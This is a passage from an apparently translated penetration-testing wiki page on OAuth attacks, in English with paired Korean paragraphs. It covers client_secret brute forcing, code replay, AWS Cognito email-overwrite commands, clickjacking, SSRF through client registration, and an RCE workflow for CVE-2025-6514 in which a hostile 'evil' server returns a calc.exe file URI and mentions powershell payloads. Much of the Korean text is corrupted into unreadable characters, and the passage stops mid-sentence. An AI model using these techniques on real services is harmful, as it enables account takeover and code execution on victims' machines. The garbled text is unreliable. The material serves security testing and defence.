  • Predictable or purely data-driven state โ€“ ๋งŽ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋žœ๋ค์„ฑ์„ ์„ž์ง€ ์•Š๊ณ  ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๊ฒฝ๋กœ๋‚˜ JSON ๋ธ”๋กญ์„ state์— ๋„ฃ์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์œ ํšจ ๊ฐ’์„ ์ถ”์ธกํ•ด ํ๋ฆ„์„ ์žฌ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฅผ ์ธ์ฝ”๋”ฉํ•˜๊ธฐ ์ „์— ํ•ญ์ƒ ๊ฐ•ํ•œ ์—”ํŠธ๋กœํ”ผ๋ฅผ ์•ž๋’ค์— ์ถ”๊ฐ€ํ•˜์„ธ์š”.
  • state fixation โ€“ ์•ฑ์ด ์‚ฌ์šฉ์ž๊ฐ€ state ๊ฐ’์„ ์ œ๊ณตํ•˜๋„๋ก ํ—ˆ์šฉ(์˜ˆ: ์กฐ์ž‘๋œ ์ธ๊ฐ€ URL์„ ํ†ตํ•ด)ํ•˜๊ณ  ํ๋ฆ„ ์ „์ฒด์—์„œ ์ด๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์•Œ๋ ค์ง„ ๊ฐ’์„ ๊ณ ์ •์‹œ์ผœ ์—ฌ๋Ÿฌ ํ”ผํ•ด์ž์—๊ฒŒ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.

PKCE๋Š” ์ธ๊ฐ€ ์ฝ”๋“œ๋ฅผ code verifier์— ๋ฐ”์ธ๋”ฉํ•˜์—ฌ state๋ฅผ ๋ณด์™„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(ํŠนํžˆ public clients์—์„œ). ํ•˜์ง€๋งŒ ์›น ํด๋ผ์ด์–ธํŠธ๋Š” ์—ฌ์ „ํžˆ cross-user CSRF/๊ณ„์ • ์—ฐ๊ฒฐ ๋ฒ„๊ทธ๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด state๋ฅผ ์ถ”์ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Attackers can preemptively create an account using the victimโ€™s email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attackerโ€™s pre-created account, leading to unauthorized access.
  2. Exploiting Lax OAuth Email Verification: Attackers may exploit OAuth services that donโ€™t verify emails by registering with their service and then changing the account email to the victimโ€™s. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.

์‚ฌ์ „ ๊ณ„์ • ํƒˆ์ทจ

  1. ๊ณ„์ • ์ƒ์„ฑ ์‹œ ์ด๋ฉ”์ผ ๊ฒ€์ฆ ์—†์Œ: ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ์„ ์‚ฌ์šฉํ•ด ๋ฏธ๋ฆฌ ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ ํ”ผํ•ด์ž๊ฐ€ ํƒ€์‚ฌ ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ์ธํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์˜๋„์น˜ ์•Š๊ฒŒ ํ•ด๋‹น ํƒ€์‚ฌ ๊ณ„์ •์„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏธ๋ฆฌ ๋งŒ๋“  ๊ณ„์ •์— ์—ฐ๊ฒฐํ•˜์—ฌ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. ๋А์Šจํ•œ OAuth ์ด๋ฉ”์ผ ๊ฒ€์ฆ ์•…์šฉ: ์ด๋ฉ”์ผ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š” OAuth ์„œ๋น„์Šค๋ฅผ ์•…์šฉํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ์„œ๋น„์Šค์— ๊ฐ€์ž…ํ•œ ๋’ค ๊ณ„์ • ์ด๋ฉ”์ผ์„ ํ”ผํ•ด์ž์˜ ๊ฒƒ์œผ๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ• ์—ญ์‹œ ์ฒซ ๋ฒˆ์งธ ์‹œ๋‚˜๋ฆฌ์˜ค์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋ฌด๋‹จ ๊ณ„์ • ์ ‘๊ทผ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.

Disclosure of Secrets

The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:

  • Unpacking the APK/IPA, desktop installer, or Electron app and grepping for client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints.
  • Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.

Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secretsโ€”they should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.

๋น„๋ฐ€ ์ •๋ณด ๋…ธ์ถœ

client_id๋Š” ์˜๋„์ ์œผ๋กœ ๊ณต๊ฐœ๋˜์ง€๋งŒ, client_secret์€ ์ตœ์ข… ์‚ฌ์šฉ์ž์—๊ฒŒ ์ ˆ๋Œ€ ๋ณต๊ตฌ๋˜์–ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค. Authorization Code ๋ฐฐํฌ์—์„œ ๋น„๋ฐ€์„ mobile APKs, desktop clients, or single-page apps์— ํฌํ•จ์‹œํ‚ค๋Š” ๊ฒฝ์šฐ, ํŒจํ‚ค์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋ˆ„๊ตฌ์—๊ฒŒ๋‚˜ ํ•ด๋‹น ์ž๊ฒฉ ์ฆ๋ช…์„ ๋„˜๊ฒจ์ฃผ๋Š” ๊ฒฐ๊ณผ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฐœ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๊ฒ€์‚ฌํ•  ๋•Œ๋Š” ํ•ญ์ƒ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜์„ธ์š”:

  • APK/IPA, ๋ฐ์Šคํฌํƒ‘ ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ ๋˜๋Š” Electron ์•ฑ์„ ์–ธํŒฉํ•˜๊ณ  client_secret, JSON์œผ๋กœ ๋””์ฝ”๋”ฉ๋˜๋Š” Base64 ๋ธ”๋กญ, ๋˜๋Š” ํ•˜๋“œ์ฝ”๋”ฉ๋œ OAuth ์—”๋“œํฌ์ธํŠธ๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.
  • ๋ฒˆ๋“ค๋œ ์„ค์ • ํŒŒ์ผ(plist, JSON, XML)์ด๋‚˜ ๋””์ปดํŒŒ์ผ๋œ ๋ฌธ์ž์—ด์—์„œ ํด๋ผ์ด์–ธํŠธ ์ž๊ฒฉ์ฆ๋ช…์„ ๊ฒ€ํ† ํ•˜์„ธ์š”.

๊ณต๊ฒฉ์ž๊ฐ€ ๋น„๋ฐ€์„ ์ถ”์ถœํ•˜๋ฉด ์•ฝํ•œ redirect_uri, ๋กœ๊ทธ ๋“ฑ์œผ๋กœ๋ถ€ํ„ฐ ํ”ผํ•ด์ž์˜ ์ธ๊ฐ€ code๋งŒ ํƒˆ์ทจํ•˜๋ฉด /token์— ๋…๋ฆฝ์ ์œผ๋กœ ์ ‘๊ทผํ•ด access/refresh ํ† ํฐ์„ ๋ฐœ๊ธ‰๋ฐ›์„ ์ˆ˜ ์žˆ์–ด ์ •๋‹นํ•œ ์•ฑ์„ ๊ฑฐ์น  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๊ณต๊ฐœ/๋„ค์ดํ‹ฐ๋ธŒ ํด๋ผ์ด์–ธํŠธ๋Š” ๋น„๋ฐ€์„ ๋ณด๊ด€ํ•  ์ˆ˜ ์—†๋Š” ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผํ•˜๊ณ , ์ •์  ๋น„๋ฐ€ ๋Œ€์‹  per-instance code verifier์˜ ์†Œ์œ ๋ฅผ ์ฆ๋ช…ํ•˜๋Š” PKCE(RFC 7636)์— ์˜์กดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ์‹œ PKCE๊ฐ€ ํ•„์ˆ˜์ธ์ง€, ๋ฐฑ์—”๋“œ๊ฐ€ client_secret ๋˜๋Š” ์œ ํšจํ•œ code_verifier๊ฐ€ ์—†๋Š” ํ† ํฐ ๊ตํ™˜์„ ์‹ค์ œ๋กœ ๊ฑฐ๋ถ€ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

์„œ๋น„์Šค ์ œ๊ณต์ž์˜ bruteforce the client_secret์„ identity provider์™€ ํ•จ๊ป˜ ์‹œ๋„ํ•˜์—ฌ ๊ณ„์ •์„ ํƒˆ์ทจํ•˜๋ ค ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
BF๋ฅผ ์œ„ํ•œ ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDKโ€™s API request history/logs and recover the victimโ€™s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource ownerโ€™s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs โ€“ if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes โ€“ returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state โ€“ React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage โ€“ localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise โ€œlowโ€ bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime โ€“ RFC 6749 recommends minutes, not hours. Try redeeming the code after 5โ€“10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse โ€“ send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions โ€“ fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling โ€“ a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attackerโ€™s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app Bโ€™s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code โ†’ token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

๋‹ค๋ฅธ ์•ฑ ํ† ํฐ ์•…์šฉ

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and arenโ€™t checking if the token was granted to their app ID.

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt wonโ€™t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Groupโ€™s clickjacking PoC generator and record how easily a victim authorizes the attackerโ€™s app. For additional payload ideas see Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then itโ€™s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Key Points:

  • Dynamic Client Registration is often mapped to /register and accepts details like client_name, client_secret, redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
  • This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
  • The registration process can inadvertently expose servers to SSRF in several ways:
  • logo_uri: A URL for the client applicationโ€™s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
  • jwks_uri: A URL to the clientโ€™s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
  • sector_identifier_uri: References a JSON array of redirect_uris, which the server might fetch, creating an SSRF opportunity.
  • request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.

Exploitation Strategy:

  • SSRF can be triggered by registering a new client with malicious URLs in parameters like logo_uri, jwks_uri, or sector_identifier_uri.
  • While direct exploitation via request_uris may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled request_uri can facilitate SSRF during the authorization phase.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote โ‰ค0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณต๋œ URI์— ๋Œ€ํ•ด OS ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. Windows๋Š” file:/c:/windows/system32/calc.exe /c"powershell -enc ..." ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ , macOS/Linux๋Š” file:///Applications/Calculator.app/... ๋˜๋Š” ๋“ฑ๋ก๋œ ๊ฒฝ์šฐ cmd://bash -lc '<payload>' ๊ฐ™์€ ์ปค์Šคํ…€ ์Šคํ‚ด๋„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  2. ์ด ๋™์ž‘์€ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์ด์ „์— ๋ฐœ์ƒํ•˜๋ฏ€๋กœ, ๋‹จ์ง€ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ฝ”๋“œ ์‹คํ–‰์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

How to test

  • discovery๋ฅผ HTTP(S)๋กœ ์ˆ˜ํ–‰ํ•˜๊ณ  ๋กœ์ปฌ์—์„œ ๋ฐ˜ํ™˜๋œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์—ฌ๋Š” ๋ชจ๋“  OAuth ์ง€์› ๋ฐ์Šคํฌํƒ‘/์—์ด์ „ํŠธ(์˜ˆ: Electron apps, CLI helpers, thick clients)๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.
  • discovery ์‘๋‹ต์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ํ˜ธ์ŠคํŒ…ํ•˜๊ณ  authorization_endpoint, device_authorization_endpoint ๋˜๋Š” ์œ ์‚ฌํ•œ ํ•„๋“œ๋ฅผ file://, cmd://, UNC ๊ฒฝ๋กœ ๋˜๋Š” ๋‹ค๋ฅธ ์œ„ํ—˜ํ•œ ์Šคํ‚ด์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์Šคํ‚ด/ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฒ€์ฆํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค. ๊ฒ€์ฆ์ด ์—†๋‹ค๋ฉด ์ฆ‰์‹œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋˜์–ด ์ทจ์•ฝ์ ์ด ์ฆ๋ช…๋ฉ๋‹ˆ๋‹ค.
  • ์ „์ฒด ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ๋งคํ•‘ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ์Šคํ‚ด๋“ค(ms-excel:, data:text/html,, ์ปค์Šคํ…€ ํ”„๋กœํ† ์ฝœ ํ•ธ๋“ค๋Ÿฌ ๋“ฑ)๋กœ ๋ฐ˜๋ณต ํ…Œ์ŠคํŠธํ•˜์—ฌ ํฌ๋กœ์Šคํ”Œ๋žซํผ ๋ฒ”์œ„๋ฅผ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค.

OAuth providers Race Conditions

ํ”Œ๋žซํผ์ด OAuth ๊ณต๊ธ‰์ž์ธ ๊ฒฝ์šฐ ์ด ๋ฌธ์„œ๋ฅผ ์ฝ๊ณ  ๊ฐ€๋Šฅํ•œ Race Conditions๋ฅผ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Mutable Claims Attack

OAuth์—์„œ sub ํ•„๋“œ๋Š” ์‚ฌ์šฉ์ž๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ์‹๋ณ„ํ•˜์ง€๋งŒ Authorization Server๋งˆ๋‹ค ํ˜•์‹์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ํด๋ผ์ด์–ธํŠธ๋Š” ์‚ฌ์šฉ์ž ์‹๋ณ„์„ ํ‘œ์ค€ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ด๋ฉ”์ผ์ด๋‚˜ ์‚ฌ์šฉ์ž ํ•ธ๋“ค์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค:

  • ์ผ๋ถ€ Authorization Server๋Š” ์ด๋Ÿฌํ•œ ์†์„ฑ(์˜ˆ: ์ด๋ฉ”์ผ)์ด ๋ถˆ๋ณ€์ž„์„ ๋ณด์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์ผ๋ถ€ ๊ตฌํ˜„์—์„œ๋Š”โ€”์˜ˆ: โ€œLogin with Microsoftโ€โ€”ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ด๋ฉ”์ผ ํ•„๋“œ์— ์˜์กดํ•˜๋Š”๋ฐ, ํ•ด๋‹น ํ•„๋“œ๋Š” Entra ID์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๊ฒ€์ฆ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž๋Š” ์ž์ฒด Azure AD ์กฐ์ง(์˜ˆ: doyensectestorg)์„ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ์ด์šฉํ•ด Microsoft ๋กœ๊ทธ์ธ์„ ์ˆ˜ํ–‰ํ•จ์œผ๋กœ์จ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Object ID(sub์— ์ €์žฅ๋จ)๋Š” ๋ถˆ๋ณ€ํ•˜๊ณ  ์•ˆ์ „ํ•˜์ง€๋งŒ, ๋ณ€๊ฒฝ ๊ฐ€๋Šฅํ•œ ์ด๋ฉ”์ผ ํ•„๋“œ์— ์˜์กดํ•˜๋ฉด ๊ณ„์ • ํƒˆ์ทจ๊ฐ€ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค(์˜ˆ: victim@gmail.com๊ณผ ๊ฐ™์€ ๊ณ„์ • ํ•˜์ด์žฌํ‚น).

Client Confusion Attack

Client Confusion Attack์—์„œ๋Š” OAuth Implicit Flow๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ตœ์ข… access token์ด ์ž์‹ ์˜ Client ID๋ฅผ ์œ„ํ•ด ์ƒ์„ฑ๋œ ๊ฒƒ์ธ์ง€ ๊ฒ€์ฆํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” Google์˜ OAuth Implicit Flow๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฐœ ์›น์‚ฌ์ดํŠธ๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ˆ˜์ฒœ ๋ช…์˜ ์‚ฌ์šฉ์ž๋ฅผ ์†์—ฌ ๋กœ๊ทธ์ธํ•˜๊ฒŒ ํ•˜๊ณ  ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ์šฉ์œผ๋กœ ๋ฐœ๊ธ‰๋œ access token์„ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ด ์‚ฌ์šฉ์ž๋“ค์ด ๋‹ค๋ฅธ ์ทจ์•ฝํ•œ ์›น์‚ฌ์ดํŠธ์—๋„ ๊ณ„์ •์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  ๊ทธ ์‚ฌ์ดํŠธ๊ฐ€ token์˜ Client ID๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ˆ˜์ง‘ํ•œ ํ† ํฐ์„ ์žฌ์‚ฌ์šฉํ•ด ํ”ผํ•ด์ž๋ฅผ ๊ฐ€์žฅํ•˜๊ณ  ๊ณ„์ •์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Scope Upgrade Attack

Authorization Code Grant ํƒ€์ž…์€ ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ธฐ ์œ„ํ•ด ์•ˆ์ „ํ•œ ์„œ๋ฒ„ ๊ฐ„ ํ†ต์‹ ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Authorization Server๊ฐ€ Access Token Request์—์„œ scope ํŒŒ๋ผ๋ฏธํ„ฐ(ํ•ด๋‹น RFC์— ์ •์˜๋˜์ง€ ์•Š์€ ํŒŒ๋ผ๋ฏธํ„ฐ)๋ฅผ ์•”๋ฌต์ ์œผ๋กœ ์‹ ๋ขฐํ•œ๋‹ค๋ฉด, ์•…์˜์ ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋” ๋†’์€ ๊ถŒํ•œ์„ ์š”์ฒญํ•จ์œผ๋กœ์จ authorization code์˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Access Token์ด ์ƒ์„ฑ๋œ ํ›„ Resource Server๋Š” ์ด๋ฅผ ๊ฒ€์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: JWT ํ† ํฐ์˜ ๊ฒฝ์šฐ JWT ์„œ๋ช…์„ ํ™•์ธํ•˜๊ณ  client_id, scope ๊ฐ™์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•˜๋ฉฐ, ๋žœ๋ค ๋ฌธ์ž์—ด ํ† ํฐ์˜ ๊ฒฝ์šฐ ์„œ๋ฒ„๋Š” ํ† ํฐ์˜ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ 